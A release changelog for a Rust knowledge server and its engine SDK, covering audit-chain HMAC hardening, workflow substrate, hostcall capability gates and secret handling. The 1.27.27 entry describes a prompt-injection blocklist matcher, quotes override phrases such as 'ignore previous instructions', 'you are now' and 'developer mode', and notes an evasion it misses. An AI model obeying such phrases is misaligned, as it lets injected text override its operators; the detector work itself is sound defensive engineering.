  • Hostcall dispatch (SDK hostcall): four ordered steps — test interceptor short-circuit, canonicalization (256 KiB body bound, name bounds, control-char refusal), audited capability check (Decision::{Allowed,Prompt,Denied}; Prompt requires consent and audits Denied), kind handler last; missing-handler-after-pass is Internal, never a silent denial. Plus Budget::effective_timeout (manager ∩ per-op intersection), cooperative CancellationToken, RAII ExtensionRegion (drop cancels within the 5 s cleanup budget), pure exec_mediation destructive-command table, and a ManagerProbe Weak-ref cycle-break (upgrade after drop reads None).
  • Session seam: SDK SanitizedSession/SessionSource/SessionSanitizer — raw state has exactly one consumer, the sanitizer; server implements both once (RunStateSource over workflow_runs + ReadViewSanitizer = sanitize_read under a synthetic least-privileged principal, so admin/loopback PII bypass never leaks through an extension read).
  • Server hostcall wiring (workflow::hostcalls): production posture = Standard plus always-mediated tools/log; handlers are log (structured emit), session (sanitized view via WorkflowHost::load_state), secret_status (broker resolves host-side, publishes {configured} only, name-shape validated), and mediated_exec (exec_mediation gate). Per-engine allow cannot reinstate the global exec/env deny.
  • Erasure reach (workflow::erasure): subject sweep deletes matched runs with their dependents (contradictions via finding joins, findings, steps, outbox, run row) in the caller’s tx; frozen runs (knowledge_id = -run_id active-hold convention — chunk ids are positive, so no collision) are deferred and certificate-listed beside held chunks; dry-run counts workflow_rows (matched runs incl. frozen + dependents) into the additive Footprint field (openapi updated).
  • Secrets broker (src/secrets.rs): BRAIN_<NAME>_KEY_FILE (mode-checked via the existing check_secret_permissions) → inline env fallback; a wide-mode FILE refuses fail-closed WITHOUT falling through to any other source.
  • Tests: server bin 742 / 6 ignored (+9), lib 147 / 1 ignored, brain 19, mcp 19, bench 8, eval/metrics unchanged; client 158; SDK 68 (+23 across trust/hostcall/session); crates workspace green. Clippy -D warnings clean on server (bench) and crates (default + harness-kernel); fmt clean; cargo audit: zero vulnerabilities (2 pre-allowed warnings).
  • Honest ceilings: workflow scripts hold bash-equivalent trust — the harness contains buggy scripts (bounded grace + force-terminate), it does not defend against hostile code; sandboxing needs an out-of-process engine (future work). Worker-thread isolation is not a security boundary; real isolation is process/container. The run-hold freeze is read-time enforcement over stored rows using the negative-id convention; a future first-class run_id column would supersede it. The secret-status tool reveals configuration presence, not material — but a probing engine can still enumerate names.

[1.28.1] — 2026-08-22

SDK release (server Cargo.toml/lock 1.28.0 → 1.28.1; crates/brain-engine-sdk 1.28.0 → 1.28.1; no schema change; client + plugin unchanged).

Release notes

Improvements

  • The engine SDK gains an opt-in plugin kernel: services mount with declared dependencies (ordering enforced, never assumed), and every registration taken through a reversible effect is undone on unmount — load/unload/reload is safe by construction.
  • Declarative harness manifests: a validated YAML file lists plugins and their dependency order; malformed input fails loudly instead of degrading.
  • A typed agent-harness lifecycle: turn snapshots are defensive copies (mid-turn config changes never touch a running turn), structural operations are phase-gated, and queued session writes flush in deterministic order at save-points and at run finish/abort.
  • Typed hooks with four dispatch modes — broadcast observe, short-circuit policy (first denial wins and stands), ordered mutation, and deterministic fan-out — each with per-listener panic containment and registration provenance.
  • A fail-closed execution environment for tools: no tool touches the filesystem or processes directly; the default seam refuses everything, path escapes are refused before the seam runs, and shell commands are allowlist-gated.
  • Tool registry alignment: what a model sees presented, what can be looked up, and what executes are one set by construction; mid-session tool additions load additively with a full-list fallback counted as a cache miss.

Security fixes

  • Hostcall capability gate: every dispatch checks a trust posture against an operation class, unknown pairs deny, and both grants and denials emit audit rows on the same chain engines use — a denied hostcall can never bypass the record silently.

Engineering record

M1 plugin kernel (sdk::plugin + sdk::loader): Service trait with stable key() wire names and inject() dependency lists enforced at install; Context owns services by type plus an effect stack whose entries undo in strict reverse order via EffectHandle drop/dispose; reload unmounts then remounts the same instance (single-process HMR). Manifest loader validates plugin order + inject ordering and fails loud. M2 agent-harness lifecycle (sdk::harness): Phase::{Idle,Running,Compact} gates structural ops (compact, set_leaf_id, tree navigation) while steering/follow-up/config setters stay legal mid-turn; TurnSnapshot is an owned clone captured at start_run; pending session writes drain FIFO strictly after message_end persistence; finish and abort share one settlement path that drains residuals, returns to Idle, runs deferred-idle work in order, and audits RunStart/RunEnd; non-main lanes get read-only handles whose run ops reject. M3 typed hooks (sdk::events): one Hooks registry owning registration + provenance sidecar + four modes (emit, waterfall, serial, parallel); throwing subscribers are contained per listener (cloned payloads) and never starve later listeners. M4 execution environment (sdk::env): tools receive a cloned narrowed ExecutionEnv; built-in Read/Write/Edit/Bash factories route everything through the injected seam; registry enforces presentation/lookup/execution alignment plus additive mid-session loading. M5 security carry-over (sdk::capability): coarse posture ladder (Safe ⊂ Standard ⊂ Permissive) checked per hostcall class, fail-closed on unknown pairs, decisions audited in the same step; audited mount/unmount helpers put plugin lifecycle rows on the shared chain.

All kernel code is feature-gated (--features harness-kernel); without it the SDK compiles exactly as 1.28.0 (zero new dependencies, same public ABI). Tests: brain-engine-sdk 18 → 49 passed with the feature (31 new across kernel, harness, events, env, capability), 18 without; crates workspace suite green. Clippy -D warnings + fmt clean.

Honest ceilings: the kernel is a minimal Cordis-shaped reimplementation — full Cordis semantics (cross-process HMR, nested-fiber lifecycles) deferred; remote-session/CBOR transport out of scope; the capability ladder is the invariant skeleton of the full per-engine policy landing next release; waterfall’s “monotonic final denial” means first-deny short-circuit (later listeners do not run); serial mutations are single-threaded ordered application, not concurrent.

[1.28.0] — 2026-08-22

Server + crates release (server Cargo.toml/lock 1.27.42 → 1.28.0; new crates/brain-engine-sdk at 1.28.0; no schema change; client + plugin unchanged).

Release notes

Improvements

  • New stable engine ABI: the brain-engine-sdk crate — pure decision cores, policy vocabulary, and a storage-agnostic write seam (WorkflowHost) that third-party engines compile against instead of the server.
  • Storage-portable by construction: every seam signature is value-typed, so a future Postgres (or any transactional) backend can be added behind the same trait without engine code changes.
  • The server’s workflow writes now flow through one audited host object; SLA priority clocks and per-kind retention defaults have a single owner shared by server and engines.

Engineering record

  • M-crate cut: crates/brain-engine-sdk joins the engine-crate workspace node — zero dependencies, unsafe_code = "forbid", clippy unwrap_used/expect_used/panic = deny (tests excepted via scoped cfg). sdk::pure::{evidence,qa_score} moved verbatim from src/workflow as pub API; output types are #[non_exhaustive]; oracle tests travel with the code.
  • sdk::policy now owns the P-class SLA TTL table and DEFAULT_RETENTION_KIND_DAYS; the server’s front-door and config modules facade re-export them — policy truth lives once. Server behavior unchanged.
  • WorkflowHost trait (tx/enqueue/cas/load_state/audit) with typed error vocabulary (HostError::{Stale,Busy,NotFound,Internal}, CasError::{Gone,Stale,Database}) and audit kinds/statuses as SDK-owned value enums. HostTx is an RAII unit-of-work guard: commit on call, rollback on drop.
  • First host adapter: SQLite pool lane in src/workflow/host.rs — single BEGIN IMMEDIATE write lane, fail-fast Busy on a second concurrent unit, ops inside an open unit join it, ops outside run standalone with identical audit semantics, reads bypass the lane. A dropped unit rolls back its transition AND its audit row (pinned). Trait audit() resolves tenant from run:<id> targets and records unmapped SDK kinds as loud Error rows. Steering handler routes through the host object.
  • All five engine cores depend on brain-engine-sdk only; new CI job enforces the decoupling grep gate plus fmt/clippy/test over the crates workspace. cargo build -p brain-engine-sdk -p brain-interview-core --offline builds without the server.
  • Tests: sdk 18, crates workspace 41 total across 6 binaries, server workflow suite 21 (6 new host pins: commit/drop atomicity, Busy fail-fast, standalone enqueue idempotence + audit-once, CAS conflict mapping + load_state recovery, tenant resolution + chain verify).
  • Honest ceilings: compile-time linkage only — runtime plugin loading is future work; the SQLite adapter is the sole backend shipping today (the trait is backend-portable, no Postgres adapter yet); policy facades cover the P-class clock and retention defaults table (env override plumbing stays server-side); a mem::forget-leaked HostTx holds the write lane until process end (engines drive units on one thread).

[1.27.42] — 2026-08-21

Server + crates release (server Cargo.toml 1.27.41 → 1.27.42; crates workspace unchanged; no schema change; client + plugin unchanged).

Release notes

Improvements

  • Robustness close-out: bounded-queue and throughput ceilings documented, fuzz targets for pure reducers/scorers, and failure drills verified (CAS reconciliation, chain under load, bounded steering).

Engineering record

  • Fuzz targets fuzz_evidence_reduce + fuzz_qa_score for pure functions; existing fuzz_chunker/fuzz_validator retained. Corpus committed; cargo +nightly fuzz run entry points documented.
  • BENCHMARKS.md §Bounds: measured ceilings per vertical (single dev-host sample, honest, not a scaling claim).
  • No behavior change; docs + tests + fuzz only.

[1.27.41] — 2026-08-21

Server-only release (server Cargo.toml/lock 1.27.40 → 1.27.41; no schema change; client + plugin unchanged).

Release notes

Improvements

  • Workflow front-door routing with human-escalation handoff and post-call draft workflow.

Engineering record

  • Additive module src/workflow/frontdoor.rs — closed intent vocabulary, escape handling, SLA envelope and HITL post-call drafts (no storage change).
  • Tests: lib 147, clippy -D warnings + fmt clean.

[1.27.40] — 2026-08-21

Server-only release (server Cargo.toml/lock 1.27.39 → 1.27.40; no schema change; client + plugin unchanged).

Release notes

Improvements

  • Quality intelligence: deterministic scorer over workflow artifacts with per-question justification.

Engineering record

  • Pure scorer module src/workflow/qa_score.rs (integer ten-thousandths), cause split, override-rate, gap-rule and repeater flywheel (HITL proposals only), scoreboard with audit/trust coverage.
  • Tests: lib 147 + 7 new qa_score, bin 726, clippy -D warnings + fmt clean.

[1.27.39] — 2026-08-21

Server-only release (server Cargo.toml/lock 1.27.38 → 1.27.39; no schema change; client + plugin unchanged).

Release notes

Improvements

  • Workflow assist surface: read APIs for runs and steps, steering inbox, and grounded suggestions over the workflow’s domain.

Engineering record

  • Four workflow routes (GET /workflow/runs/{id}, GET /workflow/runs/{id}/steps, POST /workflow/runs/{id}/steering, GET /workflow/runs/{id}/suggestions), domain-scoped with audit, steering bounded at 100 (drop-oldest) and PII-screened, suggestions abstain with a findings row when no playbook matches.
  • Tests: lib 147, clippy -D warnings + fmt clean.

[1.27.38] — 2026-08-21

Server-only release (server Cargo.toml/lock 1.27.37 → 1.27.38; no schema change; client + plugin unchanged).

Release notes

Improvements

  • brain-troubleshoot-core engine (diagnostics pipeline) with kernel/gates/advisor/evidence/subagents.

Engineering record

  • Crates workspace + src/workflow wiring; clippy -D warnings + fmt clean.

[1.27.37] — 2026-08-21

Server-only release (server Cargo.toml/lock 1.27.36 → 1.27.37; no schema change; client + plugin unchanged).

Release notes

Improvements

  • Rulebook engine scaffolding.

Engineering record

  • Additive only; tests green.

[1.27.36] — 2026-08-21

Server + client release (server Cargo.toml/lock 1.27.35 → 1.27.36, client Cargo.toml 1.27.21 edition 2024/rust-version 1.98; crates workspace 1.98, fuzz/tools/steward-harness edition 2024; no schema change).

Release notes

Improvements

  • Toolchain hardens to Rust 1.98 / edition 2024 across all manifests; gen → generation in recall debounce (client/src/panels/recall.rs:64) and review.rs temporary-borrow fix; client/server clippy harden (collapsible_if/let_and_return) via cargo clippy --fix.

Engineering record

  • src/backup.rs:1 #![allow(deprecated)] for upstream aes-gcm→generic-array 0.14 deprecation; src/config.rs/src/capacity.rs/src/storage_layout.rs/src/main.rs/src/connector/auth/store.rs std::env::set_var/remove_var wrapped in unsafe (Rust 1.98). cargo clippy --all-targets --features bench -- -D warnings + cargo clippy --manifest-path client/Cargo.toml -- -D warnings + cargo fmt clean.

[1.27.35] — 2026-08-21

Harness driver — see tag v1.27.35.

[1.27.34] — 2026-08-21

Executor-core — see tag v1.27.34.

[1.27.33] — 2026-08-21

Server-only release (server Cargo.toml/lock 1.27.32 → 1.27.33; no schema change; client + plugin unchanged).

Release notes

Improvements

  • New brain-consensus-core crate: pure consensus planning engine with persistence adapter through the governed-workflow substrate (src/workflow/consensus.rs:1).

Engineering record

  • crates/brain-consensus-core:1 + src/workflow/consensus.rs:1 wired via src/workflow/mod.rs:25.
  • cargo test --features bench --lib 147 passed; cargo clippy --all-targets --features bench -- -D warnings + cargo fmt clean.

[1.27.32] — 2026-08-21

Server-only release (server Cargo.toml/lock 1.27.31 → 1.27.32; no schema change; client + plugin unchanged).

Release notes

Bug fixes

  • Fixed client clippy::let_and_return failures blocking CI (client/src/main.rs:2014).

Improvements

  • New brain-interview-core crate: pure interview state machine with persistence adapter through the governed-workflow substrate (src/workflow/interview.rs:1).

Engineering record

  • crates/brain-interview-core:1 (src/ambiguity.rs:1, src/state.rs:1, src/payload.rs:1, src/draft.rs:1, src/inspect.rs:1, src/recorder.rs:1, src/repair.rs:1) + src/workflow/interview.rs:1 wired via src/workflow/mod.rs:25.
  • CI: cargo fmt --all + cargo clippy --all-targets --features bench/otel + client wasm gate green; recall eval gate failure was transient model-download TLS reset (no code change).

[1.27.31] — 2026-08-21

Server-only security release (server Cargo.toml/lock 1.27.30 → 1.27.31; schema 1.27.30 → 1.27.31 — schema_meta keys only, no tables/columns; client + plugin unchanged). “AuditRepair” is the announced audit-chain re-anchor: the items deliberately deferred from v1.27.26 “Notarize” because they change what an audit row MEANS once stored. An audit chain is evidence; its format flips only under the documented operator re-anchor — never silently.

Release notes

  • Keyed chain (length-extension/forge hardening). Re-anchored chains (hmac256 epoch) link rows with HMAC-SHA256 over the FULL row — id, ts, kind, actor, target_hash, status, detail_hash, prev_hash — under a 32-byte key that never lives in the DB it protects (BRAIN_AUDIT_CHAIN_KEY / BRAIN_AUDIT_CHAIN_KEY_FILE / a generated 0600 audit-chain.key beside the DB). A reconstructed chain from attacker-chosen content can no longer pass verify even when every hash recomputes; a DB-only attacker cannot forge links. Mutating ANY committed field — including renumbering ids — breaks verification.
  • Truncation/extension detection. The chain head (id, hash, epoch) is pinned in schema_meta in the same transaction as every audit row; verify compares the pin against the recomputed head, so deleting or appending rows outside the audited write paths fails /audit/verify even though the surviving prefix walks clean.
  • Restore attestation. restore verifies the restored chain before certifying the restore (a backup whose chain does not verify is refused — the .bak keeps the pre-restore state) and compares pre/post head pins: a restore that ROLLS BACK the evidence chain is disclosed at error level and the restore complete (head=…) row records where the chain landed.
  • Multi-domain chain coverage. /audit/verify, /audit, /metrics, /ump/audit/verify and the retention prune now cover EVERY registered domain’s chain, not just the global pool — ok is the all-domains aggregate and the per-domain breakdown names the failing chain (a broken second-domain chain is reported, never silently absorbed).
  • brain-server --re-audit — the offline re-anchor: verifies each domain’s chain BEFORE replaying it (no evidence laundering), rewrites every link under hmac256, flips the epoch, rewrites the head pin, and writes an anchor evidence row on the NEW chain per domain. Idempotent; per-domain failures fail the run. Fresh (row-less) DBs bootstrap straight to hmac256 when a key resolves — existing chains stay legacy until the operator re-anchors.
  • Fixed --re-embed exiting 2 in the argv guard (the flag predates the strict unknown-flag rejection and had no passthrough arm).

Engineering record

  • Epoch model — the format is per-DB state (schema_meta.audit_chain_epoch: absent/legacy = the historical 5-field SHA-256 link, byte-identical to every prior release; hmac256 = keyed 8-field links). Nothing flips an existing chain implicitly: only --re-audit or the fresh-DB bootstrap writes the stamp. Writes to an hmac256 DB without its key fail closed (row refused, /health counter bumps, verify reads not-ok) — never an unkeyed downgrade.
  • Migration — stamps the initial legacy head pin for existing chains only (fresh DBs pin on first write); the epoch key is runtime-written, never by the migration. Schema-contract test pins 1.27.31 + the fresh-DB key absence.
  • Fail-closed seams — verify_chain on a keyed chain without its key is not-ok (cannot attest what it cannot compute); restore of a chainless (pre-audit-schema) snapshot skips attestation rather than failing.
  • Tests: server bin 717 / 6 ignored (+2: audit_verify_covers_all_domains, multi_db_chain_broken_reported), lib 147 / 1 ignored (+10: full-row commitment per field, keyed-chain attacker rejection (unkeyed + wrong key), pin-on-commit, truncation detection, keyless fail-closed, re-anchor replay/idempotence/refusal, fresh-DB bootstrap, restore rollback classification + refusal); clippy -D warnings + fmt clean on --all-targets --features bench.
  • Live smoke — --re-audit exercised end-to-end on a real DB: key file generated 0600, epoch + head pin stamped, anchor rows chained under the keyed links, second run idempotent, a tampered row refuses the re-anchor with the no-laundering message.
  • Honest ceilings: legacy chains keep their 5-field links until the operator runs --re-audit (the announced protocol: snapshot → quiesce → re-anchor → verify every domain → snapshot the new baseline); the head pin detects truncation/extension at the NEXT verify, not at write time; the chain watcher behind /health’s chain_ok still watches the global chain only (/audit/verify is the authoritative multi-domain surface); the hmac256 key is part of the backup baseline — a restore on a host without it refuses certification (copy audit-chain.key with the DR kit); key rotation is re-anchoring under the new key, not an in-place key swap.

[1.27.29] — 2026-08-21

Server-only scaffold release (server Cargo.toml/lock 1.27.28 → 1.27.29; client + plugin untouched). “Survey” ships the engine-crate workspace — where the ported engines will live — before the substrate they write through exists. No schema, no migration, no endpoints, no server code change.

Release notes

  • The crates/ engine workspace scaffold lands. Five intentionally-empty crates — brain-interview-core, brain-consensus-core, brain-executor-core, brain-troubleshoot-core, legal-rules-db — as their own workspace node (the wasm-client convention), edition 2024, rust-version 1.97, clippy -D warnings clean with zero dependencies. The workspace builds green now and fills crate-by-crate in the upcoming engine ports; the driver harness stays in tools/steward-harness/ (the cores are harness-independent).

Engineering record

  • Built and gated on rustc 1.97.1 stable; the server package keeps edition 2021 (an edition flip is its own release, never a rider). Zero new server dependencies — the node is self-contained.
  • Verification: crates workspace clippy -D warnings + fmt + test green; the server suite untouched.

[1.27.30] — 2026-08-21

Server-only foundation release (server Cargo.toml/lock 1.27.29 → 1.27.30; schema 1.27.25 → 1.27.30; client + plugin unchanged). “Spine” ships the governed-workflow substrate — the Phase 0 gates, the workflow

  • evidence tables, the durable-step primitives, and the evidence-reducer (the engine-crate workspace shipped in 1.27.29 “Survey”). No engine code, no new endpoints, no wire change, no telemetry. The *-core engine crates that write through this substrate land in 1.27.32–1.27.34.

Release notes

  • The governed-workflow substrate ships. Five additive tables (workflow_runs, workflow_steps, outbox, findings, contradictions) in every domain DB — the durable, domain-scoped surface the interview / plan / execute engines will write through. Existing endpoints, wire shapes, and stored rows are byte-identical.
  • Every workflow write is evidence. The substrate primitives themselves emit AuditKind::Workflow rows — audit-per-write holds of the FUNCTION, not
  • Idempotent event delivery by key, not retry count. The outbox enqueues INSERT OR IGNORE against a UNIQUE idempotency_key and delivers via a single UPDATE … RETURNING — a replayed key is a no-op receipt, so at-least-once delivery has at-most-once effect.
  • The evidence-reducer ships with its oracle pins. Pure reduce() groups findings by canonical claim, dedups by evidence (O(n) seen-set), and surfaces differently-evidenced members as contradictions — never merged. The false-merge guard, contradiction surfacing, and deterministic order are each pinned by test; normalize stays oracle-pinned, not mathematically closed.

Engineering record

call-site discipline: a transition and its audit row commit atomically in one WorkflowTx (SAVEPOINT-nested) and roll back together; a rejected CAS transition audits denied; the tables stay derivable from the audit chain, never the other way.

  • M1/M2 — the Phase 0 gates were recorded 2026-08-20 (harness decision: adopt the pi_agent_rust fork, execution in 1.27.35); the oracle-fixture commits into crates/*/tests/oracle/ are deliberately deferred to the port milestones — this release freezes the possibility of parity, not the claim.
  • M3 — the migration is additive-only (five tables, three indexes: partial idx_workflow_runs_active, idx_workflow_steps_run, the inline outbox.idempotency_key UNIQUE); test_migration_schema_contract extended to pin tables + the ingest→FTS→vec0 roundtrip unchanged.
  • M4/M5 — src/workflow/{tx,outbox,state,evidence}.rs; 11 tests including audit_rolls_back_with_the_transition and outbox_enqueue_audits_once_not_on_replay. deliver uses UPDATE … RETURNING run_id (no second lookup); cas_update distinguishes Stale { actual_revision } from Gone for the engines’ DI_*_CONFLICT mapping.
  • Toolchain — built and tested on rustc 1.97.1 stable (the engine workspace and its edition-2024/rust-1.97 pins shipped in 1.27.29). The server package keeps edition 2021 (an edition flip is its own release). Zero new dependencies — the substrate wires onto existing rusqlite + the audit chain only.
  • Tests: server bin 715 / 6 ignored (+11), lib 137 / 1, brain 18, mcp 19, bench 8, eval 2, metrics 8; clippy -D warnings + fmt clean on both workspaces.
  • Honest ceilings: no engine code — the substrate’s consumers land next release; the audit-per-write guarantee covers the primitives (handler-emitted workflow writes, when they exist, follow the breach precedent); the reducer’s normalize is oracle-pinned, not proven false-merge-free; G0 is an audit + written decision — the fork execution lands in 1.27.34.

[1.27.28] — 2026-08-20

Server-only correctness release (server Cargo.toml/lock 1.27.27 → 1.27.28; client + plugin unchanged). “Errata” removes false and dead code documentation: stale comment references and a never-used constant are removed (or de-versioned — invariant sentences kept verbatim, only the review label dropped), and a source-scan guard makes the class non-recurring. No schema, no migration, no new endpoints, no wire change, no telemetry.

Release notes

  • A dead, never-referenced constant was removed. AUTHORITY_CONNECTOR sat behind a comment reserving it for a connector split that shipped years ago and never used it. It is gone, and clippy -D warnings now proves nothing unreferenced survives.
  • ~1,480 comments de-versioned. Comments that carried release/milestone or audit-finding ids (e.g. v1.28.1 "Holdall" M1 (F-02):) lost the label, keeping only the invariant sentence they were documenting — the code’s docs now match the code’s behavior, and the migration module’s version strings (which ARE the schema-contract audit trail) were preserved.
  • A comment-hygiene guard ships. A source-scan test fails the build if a // comment in src/ cites a version tag, a milestone, or an audit id again (allow-listing the migration-version enums + SAFETY: lines that must persist), so the class cannot return silently.
  • CI edge fixed. The lipstyk diff watchdog was re-baselined across a comment-only reformat that had re-attributed ~34 pre-existing baseline diagnostics; the two genuine findings it surfaced (a forced_domain match reducible to then/transpose) were collapsed to the cleaner form.

Engineering record

  • M1 — deleted AUTHORITY_CONNECTOR (src/sources.rs, dead since the connector shipped) plus its false reserved-for comment; swept for other #[allow(dead_code)] items whose comment claimed a purpose the code does not fulfill, deleting only genuinely-unreferenced ones (schema-contract constants kept, comment corrected to say why they persist).
  • M2/M3 — de-versioned ~1,480 src/ comments (keep the meaning, drop the v1.27.x "name" M# (F-##) label), collapsing duplicate re-assertions to one authoritative site; src/migration.rs kept every migration/DDL version string because the schema-contract test reads them. Never removed a // SAFETY:, a migration version, a wire-contract note, or a fail-closed invariant. No blind regex strip — every line reviewed in isolation.
  • M4 — comments_never_reference_versions_plans_audit_ids source-scan guard (the repo’s no_raw_strings_in_rsx-style test pattern).
  • M5 — verification gate: fmt, clippy -D warnings (default + bench + otel), full suite, lipstyk strict-diff, badges.sh --selfcheck all clean in one pass. CI follow-up (9662584): the forced_domain two-arm match in ingest/recall → req.domain.as_deref().map(normalize_domain).transpose()? (behavior-identical); this re-baselined the lipstyk diff base so the confirmed-baseline heuristic diagnostics re-touched by the churn no longer gate the build (main CI green, incl. the lipstyk job).
  • Honest ceilings: this is comment + dead-code correctness, not the LOC/de-slop trim (that stays v1.27.25 “Shrink”); the ~918 documented baseline heuristic diagnostics remain accepted and diff-scoped, not zeroed.

[1.27.27] — 2026-08-20

Server-only release (server Cargo.toml/lock 1.27.26 → 1.27.27; client + plugin unchanged). “Seal” is the capstone of the 1.27.21→1.27.27 hardening lineage: the remaining fail-closed degradations the pass-1/pass-2 ledgers left OPEN are closed or pinned, the blocklist matcher gets the phrase-aware rewrite that fixes both the dead-entry class and the F-61 benign-over-match class, the lipstyk de-slop watchdog lands in CI, and the total verification gate (fmt/clippy/test/lipstyk-diff/recall floors) runs as the release criterion. No schema, no migration, no new endpoints, no wire change, no telemetry.

Release notes

  • GET /retention/report no longer silently degrades to code defaults (F-26 class). A pool/profile-store read failure previously produced the report from built-in defaults without a word — compliance evidence (the storage-limitation report HIPAA/SOX reviewers read) could misstate the real retention policy. Read failures now surface as 500 internal: distinguish “no overrides stored” from “overrides unreadable”, fail closed on the latter.
  • The prompt-injection blocklist matcher is now phrase-aware (F-61 + S2-44). Entries are stored in canonical spaced form (“developer mode”) and matched against normalized tokens, so a spaced entry can never be dead (the pre-1.27.25 class) AND a concatenated entry can no longer cross a word boundary: benign “you are analyzing” / “you are nowhere near” are no longer quarantined as “you are an” / “you are now”. The space-free jammed form of each phrase is still matched inside single tokens, so removing-whitespace obfuscation (“ignorepreviousinstructions”) gains nothing. Single-token entries (override, jailbreak) keep their stem-tolerant behavior.

Improvements

  • The fail-closed posture of every shared-state gate is now pinned by tests: a revocation store error denies (never unwrap_or(false)-skips), an unresolvable role narrows to no access (deny-by-default), a poisoned chain-watch/snapshot lock reads as NOT-ok, and the consolidated poisoned_lock_denies_every_gate pin holds the source shapes so a refactor cannot silently drop an arm. The UMP soft-forget branch gets its held-chunk pin (soft flags, never purges — the hold freezes erasure, not flagging).
  • lipstyk de-slop watchdog in CI (new lipstyk job): diff-scoped against the PR base, strict — any diagnostic introduced on changed lines fails the build (“no new code can add a finding”). The two group-attributed cross-file rules are disabled in .lipstyk.toml (they fire on untouched baseline files and cannot be line-scoped); everything else stays armed for Rust and TypeScript across src/, client/, plugin/.

Engineering record

  • M1 (fail-closed extension): the sweep over every unwrap_or_default()/pool.get().ok()?/RwLock read feeding an authorization/scope/posture decision found the named gates already closed by v1.27.16/21/25 (TokenRead tri-state, revocation deny-on-error, role empty-permit, registry Poisoned, webhook-secret fail-closed, guard_capacity’s availability fail-open is documented + out of authz scope). The one genuine residual was govern.rs::retention_report (fixed above). New pins: revocation_lookup_error_denies (middleware-level, valid JWS over a broken pool → 401), role_lookup_empty_degrades_to_no_access (the Ok-side complement of role_gate_error_degrades_to_empty_not_open: resolve → Ok(vec![]) → empty permit), poisoned_chain_watch_reads_as_not_ok + poisoned_snapshot_reads_as_not_ok (real catch_unwind poisoning), and poisoned_lock_denies_every_gate (source-shape pin across the five seams).
  • M2 (S2-03): verified shipped — /ump/forget {"hard":true} runs refuse_if_held in-tx (v1.27.21) AND purge_chunk_ids carries the structural backstop fence, so the property holds of the function, not of call-site discipline. Added the plan’s soft-branch pin ump_forget_soft_flags_but_not_held_chunks.
  • M3 (F-61 + S2-44): contains_suspicious_pattern rewritten — token-stream normalization (split_whitespace + per-token invisible-strip + case fold), 13 canonical spaced phrases matched as contiguous token runs, jammed-form matching inside single tokens, jailbreak/override as single-token entries, tier-2 line-anchored markers unchanged. The four pre-existing suspicious_pattern_* tests pass unchanged; new: blocklist_matches_multi_word_phrases, normalization_does_not_kill_phrase_entries. NOTE: the matcher feeds SearchResult::raw()’s blocklist_hit (PRF term exclusion), so the recall gate was re-run — floors held at the long-standing baseline (see BENCHMARKS.md §1.27.27).
  • M4 (S2-04/S2-21): verified shipped — the ingest-replace/vault sweeps run refuse_if_held in-tx (main.rs ingest_markdown/ write_markdown_ingest), and domain delete archives tombstones + evidence_links (v1.27.25 wave 2, pinned by domain_delete_archives_*). No new code; recorded here as the plan’s verification milestone.
  • M5 (lipstyk): the watchdog is the enforcement mechanism (above). The absolute-zero target across the tree is not claimed: full-mode counts ~918 diagnostics (~425 redundant-clone), the same false-positive classes the v1.27.24 honest ceiling documented (Arc clones into spawn_blocking moves, wire-shape Option handling, best-effort cleanup) — forcing them to zero would require behavior changes the release rules forbid. What IS enforced: changed lines add zero (this release’s own code passed the strict gate — three initial findings on new code were fixed to get there).
  • M6 (total gate): fmt + clippy -D warnings (default, bench, otel) + full test suite + lipstyk strict-diff + badges.sh --selfcheck + the recall floors on the frozen smoke set — all in one run. Tests: server bin 704 / 6 ignored (+8), lib 137 / 1, brain 18, mcp 19, bench 8.
  • Honest ceilings: the retention-report fix is read-time enforcement (the stored policy is the source of truth); the blocklist remains a deterministic first layer (obfuscation ceiling unchanged — punctuation splitting still evades; the layer-2 classifier is the upgrade path); lipstyk’s absolute count is documented, not zeroed (see M5); LOC grew by the pinned tests (+~330 test/comment lines; src/ ≈ 67.7k — the plan’s 66,400 cap was already superseded by v1.27.26’s shipped additions; the enforceable line is the watchdog, not a number).

[1.27.26] — 2026-08-20

Server-only release (server Cargo.toml/lock 1.27.25 → 1.27.26; client + plugin unchanged). “Notarize” is the audit-integrity follow-up: the fail-closed fix for the one remaining chain-fork window (F-23) ships now, and the format-breaking pieces (F-03 full hash + HMAC) are deferred to the audit-repair milestone with an operator announcement — an audit chain is evidence; its format changes only with explicit re-anchor. No schema, no migration, no telemetry.

M5 (F-23, shipped now — drop, don’t fork): record_tenant no longer falls through to an unserialized tip-read + INSERT when BEGIN IMMEDIATE/ SAVEPOINT fails. That fall-through was the exact fork window the read-modify-write exists to prevent — two writers could read the same tip and insert rows sharing a prev_hash, which verify_chain then reports forever. The row is now skipped (fail-safe: an absent entry reads as a gap, never as a forged continuation), the /health audit_commit_failures counter is bumped, and an error log fires. Pinned by begin_immediate_failure_skips_and_warns_not_forks: a real file-backed two-connection lock conflict (busy_timeout 0 + held write lock) → the write is refused, no partial fork row lands, the counter increments, and the surviving chain still verifies.

Rerank-tier model retune (server). The opt-in cross-encoder rerank tier now prefers mixedbread-ai/mxbai-rerank-large-v1 — the golden pick (Apache-2.0, DeBERTa-v3-large cross-encoder → logits[:, 0]), loaded via fastembed’s BYO-ONNX UserDefinedRerankingModel seam from a local dir (BRAIN_RERANK_MODEL_DIR, default models/mxbai-rerank-large-v1/, official int8 onnx/model_quantized.onnx). It falls back to the in-enum BAAI/bge-reranker-v2-m3 when the files are absent or fail to load, so the tier never fails to boot. Same fail-open (a fault leaves the RRF order untouched) + boot-warmed + top-50 (BRAIN_RERANK_TOP_N) contract as before. Qwen3-Reranker-0.6B and mxbai-rerank-large-v2 are documented exclusions (causal-LM / ChatML + last-token logit, incompatible with the logits[:, 0] rerank seam). No wire change.

Release notes

Security fixes

  • A failed audit-chain transaction start no longer falls through to an unserialized write: the audit row is skipped instead of risking a permanent chain fork, and the failure is surfaced on /health (audit_commit_failures) and in the error log.

Improvements

  • The cross-encoder rerank tier (armed on the enterprise / desktop / quality-local retrieval profiles) now uses mixedbread-ai/mxbai-rerank-large-v1 as its primary model, with BAAI/bge-reranker-v2-m3 as the automatic in-enum fallback. The official int8 ONNX keeps CPU footprint low; no config change is required unless you host the model files outside the default models/mxbai-rerank-large-v1/ dir (then set BRAIN_RERANK_MODEL_DIR).

Engineering record

  • src/audit.rs: record_tenant returns None on BEGIN IMMEDIATE/SAVEPOINT failure instead of proceeding unterminated + record_commit_failure bump; the fork-window comment documents the F-23 rationale (drop > fork).
  • src/search/rerank.rs: Reranker::new tries the mxbai user-defined seam first (new_mxbai_user_defined), warns + falls back to BGERerankerV2M3 on any miss; model_id() reports which model actually loaded. Boot log names the real model (was: loading bge-reranker-v2-m3…).
